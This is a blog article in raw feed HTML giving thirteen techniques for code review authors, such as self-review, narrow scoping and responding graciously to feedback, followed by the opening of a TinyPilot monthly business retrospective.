&lt;p>Reviews drastically improve when both participants trust each other. Your reviewer puts in more effort when they can count on you to take their feedback seriously. Viewing your reviewer as an obstacle you have to overcome limits the value they offer you.&lt;/p>
&lt;h2 id="techniques">Techniques&lt;/h2>
&lt;ol>
&lt;li>&lt;a href="#1-review-your-own-code-first">Review your own code first&lt;/a>&lt;/li>
&lt;li>&lt;a href="#2-write-a-clear-changelist-description">Write a clear changelist description&lt;/a>&lt;/li>
&lt;li>&lt;a href="#3-automate-the-easy-stuff">Automate the easy stuff&lt;/a>&lt;/li>
&lt;li>&lt;a href="#4-answer-questions-with-the-code-itself">Answer questions with the code itself&lt;/a>&lt;/li>
&lt;li>&lt;a href="#5-narrowly-scope-changes">Narrowly scope changes&lt;/a>&lt;/li>
&lt;li>&lt;a href="#6-separate-functional-and-non-functional-changes">Separate functional and non-functional changes&lt;/a>&lt;/li>
&lt;li>&lt;a href="#7-break-up-large-changelists">Break up large changelists&lt;/a>&lt;/li>
&lt;li>&lt;a href="#8-respond-graciously-to-critiques">Respond graciously to critiques&lt;/a>&lt;/li>
&lt;li>&lt;a href="#9-be-patient-when-your-reviewer-is-wrong">Be patient when your reviewer is wrong&lt;/a>&lt;/li>
&lt;li>&lt;a href="#10-communicate-your-responses-explicitly">Communicate your responses explicitly&lt;/a>&lt;/li>
&lt;li>&lt;a href="#11-artfully-solicit-missing-information">Artfully solicit missing information&lt;/a>&lt;/li>
&lt;li>&lt;a href="#12-award-all-ties-to-your-reviewer">Award all ties to your reviewer&lt;/a>&lt;/li>
&lt;li>&lt;a href="#13-minimize-lag-between-rounds-of-review">Minimize lag between rounds of review&lt;/a>&lt;/li>
&lt;/ol>
&lt;h2 id="1-review-your-own-code-first">1. Review your own code first&lt;/h2>
&lt;p>Before sending code to your teammate, read it yourself. Don&amp;rsquo;t just check for mistakes — imagine reading the code for the first time. What might confuse you?&lt;/p>
&lt;p>I find it helpful to take a break between writing my code and reviewing it. People often fire off their changes at the end of the day, but that&amp;rsquo;s when you&amp;rsquo;re most likely to overlook careless errors. Wait until morning, and look at the changelist with fresh eyes before handing it over to your teammate.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/code-review-love/what-idiot.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/code-review-love/what-idiot_hu_369353e5703a2d96.jpg 300w, https://mtlynch.io/code-review-love/what-idiot_hu_2ecba50b19018e51.jpg 600w, https://mtlynch.io/code-review-love/what-idiot_hu_b72d5d5da0656c75.jpg 800w, https://mtlynch.io/code-review-love/what-idiot_hu_958ac867c08bd555.jpg 1200w, https://mtlynch.io/code-review-love/what-idiot.jpg 1200w'
 src="https://mtlynch.io/code-review-love/what-idiot.jpg" alt="First panel: Dog reads changelist and asks &amp;#39;What idiot wrote this?&amp;#39; Second panel: PR title is &amp;#39;Sync cron jobs to lunar cycle&amp;#39; with description &amp;#39;I&amp;#39;ve added this sync logic to ensure that nature is in harmony with our ETL pipeline. Dictated but not read&amp;#39; signed by the same Dog from the first panel. Third panel: Dog is grimacing." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Adopt your reviewer&amp;rsquo;s environment as much as possible. Use the same diff view that they&amp;rsquo;ll see. It&amp;rsquo;s easier to catch dumb mistakes in a diff view than in your regular source editor.&lt;/p>
&lt;p>Don&amp;rsquo;t expect yourself to be perfect. Inevitably, you&amp;rsquo;ll send out a changelist with debugging code that you forgot to delete or a stray file you meant to exclude. These mistakes aren&amp;rsquo;t the end of the world, but they&amp;rsquo;re worth tracking. Pay attention to your patterns of error, and think about creating systems to prevent them. If they happen too frequently, it signals to your reviewer that you don&amp;rsquo;t value their time.&lt;/p>
&lt;h2 id="2-write-a-clear-changelist-description">2. Write a clear changelist description&lt;/h2>
&lt;p>At my last job, I met regularly with a senior engineer as part of a developer mentorship program. Before our first meeting, he asked me to bring a design document I&amp;rsquo;d written. As I handed it to him, I explained what the project was and how it aligned with my team&amp;rsquo;s goals. My mentor frowned. &amp;ldquo;Everything you just told me should be on the first page of your design doc,&amp;rdquo; he said, bluntly.&lt;/p>
&lt;p>He was right. I wrote the design document imagining how my teammates would read it, but I failed to consider other readers. There was a broader audience beyond my immediate teammates that included partner teams, mentors, and &lt;a href="https://mtlynch.io/why-i-quit-google/">promotion committees&lt;/a>. They should all be able to understand the document as well. Since that discussion, I always think about how to frame my work to explain its context.&lt;/p>
&lt;p>Your changelist description should summarize any background knowledge the reader needs. You might have a code reviewer in mind when you write the description, but they don&amp;rsquo;t necessarily have the context you imagine. Besides, your other teammates might need to read this changelist as well, and readers in the future should understand your intentions when they look back on the change history.&lt;/p>
&lt;p>A good changelist description explains &lt;strong>what&lt;/strong> the change achieves, at a high level, and &lt;strong>why&lt;/strong> you&amp;rsquo;re making this change.&lt;/p>
&lt;p>For a deeper dive into excellent changelist descriptions, see my article, &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">&amp;ldquo;How to Write Useful Commit Messages.&amp;rdquo;&lt;/a>&lt;/p>
&lt;h2 id="3-automate-the-easy-stuff">3. Automate the easy stuff&lt;/h2>
&lt;p>If you rely on your reviewer to tell you when your curly braces are on the wrong line or that your change broke the automated test suite, you&amp;rsquo;re wasting their time.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/code-review-love/verify-syntax.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/code-review-love/verify-syntax_hu_448e8c949d1be425.jpg 300w, https://mtlynch.io/code-review-love/verify-syntax_hu_8b399baebb9b5bb7.jpg 600w, https://mtlynch.io/code-review-love/verify-syntax_hu_2efe1ea81d4c631f.jpg 800w, https://mtlynch.io/code-review-love/verify-syntax_hu_7583a605b2476ed7.jpg 1200w, https://mtlynch.io/code-review-love/verify-syntax.jpg 1200w'
 src="https://mtlynch.io/code-review-love/verify-syntax.jpg" alt="Dog interrupts cat&amp;#39;s work, asking &amp;#39;Can you verify that my code syntax is correct? I&amp;#39;d ask the compiler, but I don&amp;#39;t want to waste its time.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Automated tests should be part of your team&amp;rsquo;s standard workflow. The review begins after &lt;a href="https://mtlynch.io/human-code-reviews-1/#let-computers-do-the-boring-parts">all automated checks pass in a continuous integration environment&lt;/a>.&lt;/p>
&lt;p>If your team is woefully misguided and refuses to invest in continuous integration, automate these checks yourself. Add &lt;a href="https://www.atlassian.com/git/tutorials/git-hooks">git pre-commit hooks&lt;/a>, linters, and formatters to your development environment to ensure that your code observes proper conventions and preserves intended behavior on each commit.&lt;/p>
&lt;h2 id="4-answer-questions-with-the-code-itself">4. Answer questions with the code itself&lt;/h2>
&lt;p>What&amp;rsquo;s wrong with this picture?&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 804px">



 &lt;a href="https://mtlynch.io/code-review-love/having-trouble.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 804px, 98vw"
 srcset='https://mtlynch.io/code-review-love/having-trouble_hu_fd77136e2b924ac.png 300w, https://mtlynch.io/code-review-love/having-trouble_hu_ca14bda06adf6ce8.png 600w, https://mtlynch.io/code-review-love/having-trouble_hu_3e3c8db96eff2e0d.png 800w, https://mtlynch.io/code-review-love/having-trouble.png 802w'
 src="https://mtlynch.io/code-review-love/having-trouble.png" alt="mtlynch: I&amp;#39;m having trouble understanding the purpose of this function. doggo: Oh, it&amp;#39;s in case the caller passes a Frombobulator that&amp;#39;s missing a frombobulate implementation." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The author helped me understand the function, but what about the next person who reads it? Should they dive into the change history and read every code review discussion ever? Worse is when the author comes over to my desk to give me an in-person explanation, which both interrupts my focus and ensures that nobody else ever has access to the information.&lt;/p>
&lt;p>When your reviewer expresses confusion about how the code works, the solution isn&amp;rsquo;t to explain it to that one person. You need to explain it to &lt;em>everyone&lt;/em>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/code-review-love/late-night-question.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/code-review-love/late-night-question_hu_474ba53107185459.jpg 300w, https://mtlynch.io/code-review-love/late-night-question_hu_7ff933e1524bbc41.jpg 600w, https://mtlynch.io/code-review-love/late-night-question_hu_adc4a7f054c30f77.jpg 800w, https://mtlynch.io/code-review-love/late-night-question_hu_afbf2c921a0062fb.jpg 1200w, https://mtlynch.io/code-review-love/late-night-question.jpg 1200w'
 src="https://mtlynch.io/code-review-love/late-night-question.jpg" alt="Dog: Hello? Cat: When you wrote bill.py six years ago, why&amp;#39;d you make t=6? Dog: I&amp;#39;m glad you called! It&amp;#39;s because sales tax is 6%. Cat: Of course! Dog: This is a good way to communicate implementation choices. Cat: smiles" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The best way to answer someone&amp;rsquo;s question is to refactor the code and eliminate the confusion. Can you rename things or restructure logic to make it more clear? Code comments are an acceptable solution, but they&amp;rsquo;re strictly inferior to code that documents itself naturally.&lt;/p>
&lt;h2 id="5-narrowly-scope-changes">5. Narrowly scope changes&lt;/h2>
&lt;p>Scope creep is a common anti-pattern in code reviews. A developer starts to fix a logic bug, but they notice a UI blemish in the process. &amp;ldquo;While I&amp;rsquo;m here,&amp;rdquo; they think, &amp;ldquo;I&amp;rsquo;ll just fix this other thing.&amp;rdquo; But now they&amp;rsquo;ve muddled things. Their reviewer has to figure out which changes serve goal A and which serve goal B.&lt;/p>
&lt;p>The best changelists just &lt;a href="https://blog.codinghorror.com/curlys-law-do-one-thing/">Do One Thing&lt;/a>. The smaller and simpler the change, the easier it is for the reviewer to keep all the context in their head. Decoupling unrelated changes also allows you to parallelize your reviews across teammates, reducing turnaround time for your changes.&lt;/p>
&lt;h2 id="6-separate-functional-and-non-functional-changes">6. Separate functional and non-functional changes&lt;/h2>
&lt;p>The corollary to minimizing scope is separating functional and non-functional changes.&lt;/p>
&lt;p>Developers inexperienced with code reviews often violate this rule. They&amp;rsquo;ll make a two-line change, and then their code editor automatically reformats the entire file. The developer either fails to recognize what they did or decides that the new formatting is better. They send out a two-line functional change buried in hundreds of lines of non-functional whitespace changes.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 658px">



 &lt;a href="https://mtlynch.io/code-review-love/buried-change.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 658px, 98vw"
 srcset='https://mtlynch.io/code-review-love/buried-change_hu_da5c0e5863e099cf.png 300w, https://mtlynch.io/code-review-love/buried-change_hu_9af99a6925b40ae8.png 600w, https://mtlynch.io/code-review-love/buried-change.png 656w'
 src="https://mtlynch.io/code-review-love/buried-change.png" alt="Changelist where logic changes are obscured by whitespace changes" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Can you spot the functional change buried in this changelist&amp;rsquo;s whitespace noise?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Jumbled changelists are a massive insult to your reviewer. Whitespace-only changes are easy to review. Two-line changes are easy to review. Two-line functional changes lost in a sea of whitespace changes are tedious and maddening.&lt;/p>
&lt;p>Developers also tend to mix changes inappropriately while refactoring. I love it when my teammates refactor code, but I hate it when they refactor while changing the code&amp;rsquo;s behavior.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/code-review-love/mixed-refactoring.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/code-review-love/mixed-refactoring_hu_6a92e7c0219dd498.png 300w, https://mtlynch.io/code-review-love/mixed-refactoring_hu_75a100563c3f1ed0.png 600w, https://mtlynch.io/code-review-love/mixed-refactoring.png 673w'
 src="https://mtlynch.io/code-review-love/mixed-refactoring.png" alt="Changelist where logic changes are obscured by refactoring changes" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>This changelist makes a single change to behavior, but the refactoring changes obscure it.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If a piece of code requires refactoring &lt;em>and&lt;/em> behavioral changes, it should happen in two to three changelists:&lt;/p>
&lt;ol>
&lt;li>Add tests to exercise the existing behavior (if they&amp;rsquo;re not already there).&lt;/li>
&lt;li>Refactor the production code while holding the test code constant.&lt;/li>
&lt;li>Change behavior in the production code and update the tests to match.&lt;/li>
&lt;/ol>
&lt;p>By leaving the automated tests untouched in step 2, you prove to your reviewer that your refactoring preserves behavior. When you reach step 3, your reviewer doesn&amp;rsquo;t have to untangle the behavioral changes from the refactoring changes, as you&amp;rsquo;ve decoupled them ahead of time.&lt;/p>
&lt;h2 id="7-break-up-large-changelists">7. Break up large changelists&lt;/h2>
&lt;p>Overly large changelists are the ugly cousins of &lt;a href="#5-narrowly-scope-changes">scope creep&lt;/a>. Suppose a developer finds that in order to introduce feature X, they must modify semantics of existing libraries A and B. If it&amp;rsquo;s a small set of changes, that&amp;rsquo;s fine, but too many of these sprawling modifications can make the changelist enormous.&lt;/p>
&lt;p>A changelist&amp;rsquo;s complexity grows exponentially with the number of code lines it touches. When my changes exceed 400 lines of production code, I look for opportunities to break it up before requesting a review.&lt;/p>
&lt;p>Instead of changing everything at once, can you change the dependencies first and add the new feature in a subsequent changelist? Can you keep the codebase in a sane state if you add half of the feature now and the other half in the next changelist?&lt;/p>
&lt;p>It&amp;rsquo;s tedious to break up your code to find a subset that makes a working, intelligible change, but it yields better feedback and puts less strain on your reviewer.&lt;/p>
&lt;h2 id="8-respond-graciously-to-critiques">8. Respond graciously to critiques&lt;/h2>
&lt;p>The fastest way to ruin a code review is to take feedback personally. This is challenging, as many developers take pride in their work and see it as an extension of themselves. If your reviewer tactlessly frames their feedback &lt;a href="https://mtlynch.io/human-code-reviews-1/#never-say-you">as a personal attack&lt;/a>, it&amp;rsquo;s even harder.&lt;/p>
&lt;p>As the author, &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#habit-1-be-proactive">you ultimately control your reaction to feedback&lt;/a>. Treat your reviewer&amp;rsquo;s notes as an objective discussion about the code, not your personal worth as a human. Responding defensively will only make things worse.&lt;/p>
&lt;p>I try to interpret all notes as helpful lessons. When a reviewer catches an embarrassing bug in my code, my first instinct is to make excuses. Instead, I catch myself and praise my reviewer for their scrupulousness.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 633px">



 &lt;a href="https://mtlynch.io/code-review-love/nice-catch.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 633px, 98vw"
 srcset='https://mtlynch.io/code-review-love/nice-catch_hu_f9db90fb91df7386.png 300w, https://mtlynch.io/code-review-love/nice-catch_hu_9572919cebcfe1aa.png 600w, https://mtlynch.io/code-review-love/nice-catch.png 631w'
 src="https://mtlynch.io/code-review-love/nice-catch.png" alt="Two developers are discussing a changelist. doggo: This actually won&amp;#39;t work for January and February 1900. mtlynch: Wow, nice catch!" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Show gratitude when your reviewer catches a subtle bug in your code.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Surprisingly, it&amp;rsquo;s a &lt;strong>good&lt;/strong> sign when your reviewer spots subtle flaws in your code. It indicates that you&amp;rsquo;re packaging your changelists well. Without all the obvious issues like bad formatting and confusing names, your reviewer can focus deeply on logic and design, yielding more valuable feedback.&lt;/p>
&lt;h2 id="9-be-patient-when-your-reviewer-is-wrong">9. Be patient when your reviewer is wrong&lt;/h2>
&lt;p>From time to time, reviewers are flat out wrong. Just as you can accidentally write buggy code, your reviewer can misunderstand correct code.&lt;/p>
&lt;p>Many developers react to reviewer mistakes with defensiveness. They take it as an affront that someone would insult their code with criticisms that &lt;em>aren&amp;rsquo;t even true&lt;/em>.&lt;/p>
&lt;p>Even when your reviewer is mistaken, that&amp;rsquo;s still a red flag. If they misread it, will others make the same mistake? Does the reader have to exercise an abnormal level of scrutiny to reassure themselves that a particular bug &lt;em>isn&amp;rsquo;t&lt;/em> there?&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 771px">



 &lt;a href="https://mtlynch.io/code-review-love/try-actually-reading.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 771px, 98vw"
 srcset='https://mtlynch.io/code-review-love/try-actually-reading_hu_af1c577594a9f2f.png 300w, https://mtlynch.io/code-review-love/try-actually-reading_hu_f9fae275a5fe76ca.png 600w, https://mtlynch.io/code-review-love/try-actually-reading.png 769w'
 src="https://mtlynch.io/code-review-love/try-actually-reading.png" alt="Two developers are arguing in a code review. mtlynch: There&amp;#39;s a buffer overflow here, since we never verify that we allocated enough memory in name to fit newNameLen characters. doggo: In my code? Impossible! The constructor calls PurchaseHats, which calls CheckWeather, which would have returned an error if the buffer length was incorrect. Try actually reading the entire 200k line codebase before you even begin to entertain the notion that I’m capable of a mistake." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Resist the temptation to prove your reviewer wrong when they make a mistake.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Look for ways to refactor the code, or add comments that make the code more &lt;a href="https://wiki.c2.com/?TwoWaysToDesign">obviously correct&lt;/a>. If the confusion stems from obscure language features, rewrite your code using mechanisms that are intelligible to non-experts.&lt;/p>
&lt;h2 id="10-communicate-your-responses-explicitly">10. Communicate your responses explicitly&lt;/h2>
&lt;p>I frequently run into a scenario where I give someone notes, they update their code to address &lt;em>some&lt;/em> of my feedback, but they don&amp;rsquo;t write any replies. Now, we&amp;rsquo;re in an ambiguous state. Did they miss my other notes, or are they still working? If I begin a new round of review, I&amp;rsquo;m potentially wasting my time on a half-finished changelist. If I wait, I might create a deadlock where both of us are expecting the other to continue.&lt;/p>
&lt;p>Establish conventions on your team that make it clear who&amp;rsquo;s &amp;ldquo;holding the baton&amp;rdquo; at any point. Either the author is working on edits, or the reviewer is writing feedback. There should never be a situation where the process stalls because nobody knows who&amp;rsquo;s doing what. You can accomplish this easily with changelist-level comments that indicate when you&amp;rsquo;re handing control back and forth.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 743px">



 &lt;a href="https://mtlynch.io/code-review-love/ptal.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 743px, 98vw"
 srcset='https://mtlynch.io/code-review-love/ptal_hu_a9cc2941b2442c7a.png 300w, https://mtlynch.io/code-review-love/ptal_hu_9da11c04f086e009.png 600w, https://mtlynch.io/code-review-love/ptal.png 741w'
 src="https://mtlynch.io/code-review-love/ptal.png" alt="Screenshot of author saying &amp;#39;Updated! Please take a look.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Comment on the changelist to communicate explicitly when you hand control back to your reviewer.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>For every note that requires action, respond explicitly to confirm that you&amp;rsquo;ve addressed it. Some code review tools allow you to mark comments as resolved. Otherwise, follow a simple convention, like, &amp;ldquo;Done,&amp;rdquo; for each note. If you disagree with the note, politely explain why you declined to take action.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 588px">



 &lt;a href="https://mtlynch.io/code-review-love/reviewable-satisfied.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 588px, 98vw"
 srcset='https://mtlynch.io/code-review-love/reviewable-satisfied_hu_7283219914d445d2.png 300w, https://mtlynch.io/code-review-love/reviewable-satisfied.png 586w'
 src="https://mtlynch.io/code-review-love/reviewable-satisfied.png" alt="Reviewable interface shows options: discussing, satisfied, blocking, and working. Satisfied means you think you&amp;#39;ve addressed the reviewer&amp;#39;s note." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Code review tools like &lt;a href="https://reviewable.io">Reviewable&lt;/a> and &lt;a href="https://www.gerritcodereview.com/">Gerrit&lt;/a> offer mechanisms for the author to mark specific notes as resolved.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Adjust your response based on your reviewer&amp;rsquo;s effort. If they write a detailed note to help you learn something new, don&amp;rsquo;t just mark it done. Respond thoughtfully to show gratitude for their effort.&lt;/p>
&lt;h2 id="11-artfully-solicit-missing-information">11. Artfully solicit missing information&lt;/h2>
&lt;p>Sometimes code review notes leave too much room for interpretation. When you receive a comment like, &amp;ldquo;This function is confusing,&amp;rdquo; you probably wonder what &amp;ldquo;confusing&amp;rdquo; means, exactly. Is the function too long? Is the name unclear? Does it require more documentation?&lt;/p>
&lt;p>For a long time, I struggled to clarify ambiguous notes without sounding defensive. My instinct was to ask, &amp;ldquo;What&amp;rsquo;s confusing about it?&amp;rdquo; but that comes across as grouchy.&lt;/p>
&lt;p>Once, I unintentionally sent a vague note to my teammate, and he responded in a way that I found fantastically disarming:&lt;/p>
&lt;blockquote>
&lt;p>What changes would be helpful?&lt;/p>&lt;/blockquote>
&lt;p>I love this response because it signals a lack of defensiveness and openness to criticism. Whenever a reviewer gives me unclear feedback, I always respond with some variation of, &amp;ldquo;What would be helpful?&amp;rdquo;&lt;/p>
&lt;p>Another useful technique is to guess your reviewer&amp;rsquo;s intent and proactively edit your code based on that assumption. For a note like, &amp;ldquo;this is confusing,&amp;rdquo; give your code a second look. Usually, there&amp;rsquo;s &lt;em>something&lt;/em> you can do to improve clarity. A revision communicates to your reviewer that you&amp;rsquo;re amenable to change, even if it&amp;rsquo;s not the one they had in mind.&lt;/p>
&lt;h2 id="12-award-all-ties-to-your-reviewer">12. Award all ties to your reviewer&lt;/h2>
&lt;p>In tennis, when you&amp;rsquo;re unsure if your opponent&amp;rsquo;s serve landed out of bounds, you give them the benefit of the doubt. There should be a similar expectation for code reviews.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 679px">



 &lt;a href="https://mtlynch.io/code-review-love/usta.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 679px, 98vw"
 srcset='https://mtlynch.io/code-review-love/usta_hu_8fdeebe65437ecd8.png 300w, https://mtlynch.io/code-review-love/usta_hu_8c62d135b83788f3.png 600w, https://mtlynch.io/code-review-love/usta.png 677w'
 src="https://mtlynch.io/code-review-love/usta.png" alt="A player in attempting to be scrupulously honest on line calls frequently will keep a ball in play that might have been out or that the player discovers too late was out. Even so, the game is much better played this way." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The US Tennis Association requires players to &lt;a href="https://www.usta.com/content/dam/usta/pdfs/2015_Code.pdf">give their opponents the benefit of the doubt when making line calls&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Some decisions about code are a matter of personal taste. If your reviewer thinks your 8-line function would be better as two 5-line functions, neither of you is objectively &amp;ldquo;right.&amp;rdquo; It&amp;rsquo;s a matter of opinion which version is better.&lt;/p>
&lt;p>When your reviewer makes a suggestion, and you each have roughly equal evidence to support your position, defer to your reviewer. Between the two of you, they have a better perspective on what it&amp;rsquo;s like to read this code fresh.&lt;/p>
&lt;h2 id="13-minimize-lag-between-rounds-of-review">13. Minimize lag between rounds of review&lt;/h2>
&lt;p>A few months ago, a user contributed a small change to an open-source project I maintain. I gave them feedback within hours, but they promptly disappeared. I checked again a few days later, and there was still no response.&lt;/p>
&lt;p>Six weeks later, the mysterious developer reappeared to submit their revisions. While I appreciated their effort, the lag between rounds of review had doubled my workload. Not only did I have to re-read their code, but I also had to re-read my feedback to restore my memory of the discussion. Had they followed up within a day or two, I wouldn&amp;rsquo;t have had to do all that extra work.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/code-review-love/effort-graph.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/code-review-love/effort-graph_hu_f53162fbf0a9861e.jpg 300w, https://mtlynch.io/code-review-love/effort-graph_hu_32ce64e8e3b65082.jpg 600w, https://mtlynch.io/code-review-love/effort-graph_hu_df9624ce0c2b79ee.jpg 800w, https://mtlynch.io/code-review-love/effort-graph_hu_fca3126ec375774c.jpg 1200w, https://mtlynch.io/code-review-love/effort-graph.jpg 1200w'
 src="https://mtlynch.io/code-review-love/effort-graph.jpg" alt="Graph of reviewer&amp;#39;s memory vs review latency shows wasted effort when there are long delays between review rounds." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>A six-week pause is extreme, but I frequently see long, unnecessary delays among teammates. Someone sends out a changelist for review, receives feedback, then puts it on the back burner for a week because another task distracted them.&lt;/p>
&lt;p>In addition to the time lost in restoring context, half-finished changelists increase complexity. They make it harder for everyone to keep track of what&amp;rsquo;s already merged and what&amp;rsquo;s in-flight. With more partially-complete changelists, there are more merge conflicts, and nobody likes fixing those.&lt;/p>
&lt;p>Once you send your code out, driving the review to completion should be your highest priority. Delays on your end waste time for your reviewer and increase complexity for your whole team.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>As you prepare your next changelist for review, consider the factors you control, and use them to guide the review productively. As you participate in reviews, look for patterns that stall progress or waste effort.&lt;/p>
&lt;p>Remember the golden rule: value your reviewer&amp;rsquo;s time. A reviewer generates high-quality feedback when you allow them to focus on the interesting parts of your code. If you require them to untangle your code or police simple mistakes, you both suffer.&lt;/p>
&lt;p>Lastly, communicate thoughtfully. It&amp;rsquo;s frighteningly easy for simple miscommunications or thoughtless comments to derail a review. Emotions run hot when critiquing someone else&amp;rsquo;s work, so be conscious of pitfalls that could make your reviewer feel attacked or disrespected.&lt;/p>
&lt;p>Congratulations! If you&amp;rsquo;ve reached this point, you&amp;rsquo;re now an expert reviewee. Your reviewer is likely in love with you, so treat them well.&lt;/p>
&lt;h2 id="further-reading">Further Reading&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/human-code-reviews-1/">How to Do Code Reviews Like a Human&lt;/a>: Now that you&amp;rsquo;ve learned effective practices from the author side, learn to improve your code reviews when you&amp;rsquo;re the reviewer.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Illustrations by Loraine Yow. Edited by &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 5</title><link>https://mtlynch.io/retrospectives/2020/12/</link><pubDate>Wed, 02 Dec 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/12/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot revenue grew 20% to $12k.&lt;/li>
&lt;li>I released a new high-end model of TinyPilot.&lt;/li>
&lt;li>I launched my first ever paid course.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="release-a-high-end-version-of-tinypilot-that-arrives-pre-assembled-in-a-custom-case">Release a high-end version of TinyPilot that arrives pre-assembled in a custom case&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Released &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager">TinyPilot Voyager&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I released it! It had a muted reception at first, but now sales seem to be picking up.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot revenue grew 20% to $12k.&lt;/li>
&lt;li>I released a new high-end model of TinyPilot.&lt;/li>
&lt;li>I launched my first ever paid course.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="release-a-high-end-version-of-tinypilot-that-arrives-pre-assembled-in-a-custom-case">Release a high-end version of TinyPilot that arrives pre-assembled in a custom case&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Released &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager">TinyPilot Voyager&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I released it! It had a muted reception at first, but now sales seem to be picking up.&lt;/p>
&lt;h3 id="release-the-first-version-of-tinypilot-pro">Release the first version of &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I haven&amp;rsquo;t even figured out how to distribute TinyPilot Pro.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>Releasing Voyager took longer than I anticipated, so I punted this until December.&lt;/p>
&lt;h3 id="figure-out-how-to-properly-track-the-source-of-customers-who-end-up-completing-purchases">Figure out how to properly track the source of customers who end up completing purchases&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I &lt;em>think&lt;/em> I&amp;rsquo;m doing this properly.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C-&lt;/li>
&lt;/ul>
